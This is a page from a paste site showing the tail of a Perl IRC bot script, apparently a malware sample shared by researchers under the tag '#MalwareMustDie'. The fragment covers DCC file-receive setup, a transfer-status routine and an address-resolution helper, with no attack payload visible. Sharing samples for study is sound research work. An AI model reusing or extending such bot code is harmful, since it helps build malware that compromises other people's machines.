  814. return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  815. my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  816. $dccsock->autoflush(1);
  817. $dcc_sel->add($dccsock);
  818. $DCC{$dccsock}{tipo} = 'get';
  819. $DCC{$dccsock}{itime} = time;
  820. $DCC{$dccsock}{nick} = $nick;
  821. $DCC{$dccsock}{bytes} = $bytes;
  822. $DCC{$dccsock}{curbyte} = 0;
  823. $DCC{$dccsock}{arquivo} = $arquivo;
  824. $DCC{$dccsock}{ip} = $dccip;
  825. $DCC{$dccsock}{porta} = $dccporta;
  826. $DCC{$dccsock}{status} = "Recebendo";
  827. }
  828. sub Status {
  829. my $socket = shift;
  830. my $sock_tipo = $DCC{$socket}{tipo};
  831. unless (lc($sock_tipo) eq "chat") {
  832. my $nick = $DCC{$socket}{nick};
  833. my $arquivo = $DCC{$socket}{arquivo};
  834. my $itime = $DCC{$socket}{itime};
  835. my $ftime = time;
  836. my $status = $DCC{$socket}{status};
  837. $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  838.  
  839. my $d_time = $ftime-$itime;
  840.  
  841. my $cur_byte = $DCC{$socket}{curbyte};
  842. my $bytes_total = $DCC{$socket}{bytes};
  843.  
  844. my $rate = 0;
  845. $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  846. my $porcen = ($cur_byte*100)/$bytes_total;
  847.  
  848. my ($r_duv, $p_duv);
  849. if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  850. $r_duv = $3; $r_duv++ if $4 >= 5;
  851. $rate = "$1\.$2"."$r_duv";
  852. }
  853. if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  854. $p_duv = $3; $p_duv++ if $4 >= 5;
  855. $porcen = "$1\.$2"."$p_duv";
  856. }
  857. return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  858. }
  859. return(0);
  860. }
  861.  
  862. sub fixaddr {
  863. my ($address) = @_;
  864.  
  865. chomp $address;
  866. if ($address =~ /^\d+$/) {
  867. return inet_ntoa(pack "N", $address);
  868. } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  869. return $address;
  870. } elsif ($address =~ tr/a-zA-Z//) {
  871. return inet_ntoa(((gethostbyname($address))[4])[0]);
  872. } else {
  873. return;
  874. }
  875. }
  876.  
  877. ---
  878. #MalwareMustDie!!!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement